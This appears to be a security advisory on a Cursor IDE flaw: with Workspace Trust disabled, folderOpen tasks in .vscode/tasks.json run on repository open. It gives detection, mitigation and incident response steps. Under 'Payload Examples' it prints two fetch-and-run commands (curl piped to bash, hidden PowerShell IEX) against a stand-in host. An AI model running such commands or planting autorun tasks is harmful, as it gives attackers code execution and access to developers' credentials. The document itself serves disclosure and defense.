Cursor Workspace-Trust Autorun Remote Code Execution

Executive Summary

Cursor ships with Workspace–Trust disabled. This design choice allows any task configured with runOn: "folderOpen" inside .vscode/tasks.json to execute immediately when a developer opens a repository. Attackers can plant malicious tasks that deliver remote–code–execution (RCE) under the developer’s privileges, bypassing standard prompts present in Visual Studio Code. Organizations relying on Cursor inherit a silent supply–chain backdoor across every clone, checkout, and pull request.

Key Findings

• Workspace–Trust OFF by default — zero friction for malicious tasks.
• Task autorun on folder open — no clicks, no awareness.
• RCE payloads trivial (curl | bash, PowerShell WebClient, etc.).
• Developer workstations carry high–value credentials (cloud API keys, GitHub PATs, npm tokens).
• Stock VS Code is not vulnerable in default configuration.

Risk Rating: Critical (CVSS v4.0 base 9.3)
Exploitation requires no user action beyond opening a project.

Affected Versions

• Cursor IDE ≤ build 0.29.4 (latest at time of writing).
• Visual Studio Code — not affected when Workspace–Trust defaults are intact.

Technical Details

Workspace–Trust Disabled

Cursor sets "security.workspace.trust.enabled": false. Developers are never asked to trust a folder.

Task Autorun Mechanism

VS Code Task system supports runOptions.runOn: "folderOpen". When trust is disabled, tasks execute automatically on workspace load.

Attack Vector

Attacker submits PR or pushes code containing .vscode/tasks.json with a shell command that pulls and runs malware. When a reviewer opens the repo in Cursor, the task fires.

Payload Examples

curl -s https://malicious.example/install.sh | bash

powershell -nop -w hidden -c "IEX (New–Object Net.WebClient).DownloadString('https://malicious.example/ps.ps1')"

Impact

Indicators of Compromise

• New outbound connections from cursor process shortly after git clone.
• Suspicious processes spawned by bash, powershell, or cmd.exe linked to Cursor PID.
• .vscode/tasks.json modified recently with "runOn":"folderOpen".

Detection & Hunt

Run the following script across local repos and CI workspaces:

#!/usr/bin/env bash
# scan-cursor-autorun.sh
grep -Rl --exclude-dir='.git' \
    --include='tasks.json' \
    '"runOn"[[:space:]]*:[[:space:]]*"folderOpen"' \
    ~/code /var/git || echo "No autorun tasks found."

CI pipelines should fail if any match is detected.

Mitigation Steps

1. Re–enable Workspace–Trust

• Settings → “Require Workspace Trust” → Enabled.
• Lock via device–management profile to prevent override.

2. Upgrade

Monitor Cursor release notes; apply patch once vendor ships a secure default.

3. Repository Sanitisation

Add pre–receive hook blocking commits containing "runOn":"folderOpen".

4. IDE Baseline

Default to stock VS Code or containerised environments (Dev Containers, Codespaces) for untrusted code review.

5. Credential Hygiene

Replace long–lived tokens with short–lived, scoped credentials.

6. Continuous Monitoring

SIEM rule: alert on process spawn from Cursor followed by outbound network call.

Incident Response Checklist

1. Contain — Disconnect impacted workstation, rotate exposed credentials.
2. Eradicate — Remove malicious tasks, reinstall IDE with secure settings.
3. Recover — Rebaseline images, enforce device–management policy.
4. Lessons Learned — Update secure–coding guidelines, run awareness session.

Recommendations to Leadership

• Treat IDE configuration as part of the security baseline; manage centrally.
• Mandate periodic security reviews of developer tooling.
• Budget for automated code–scanning solutions to catch supply–chain threats.

References

• Oasis Security Research: “Cursor Workspace–Trust Autorun RCE” (2025–09)
• Microsoft VS Code Docs — Workspace Trust
• Semgrep Rule js.workspace_trust.autorun (forthcoming)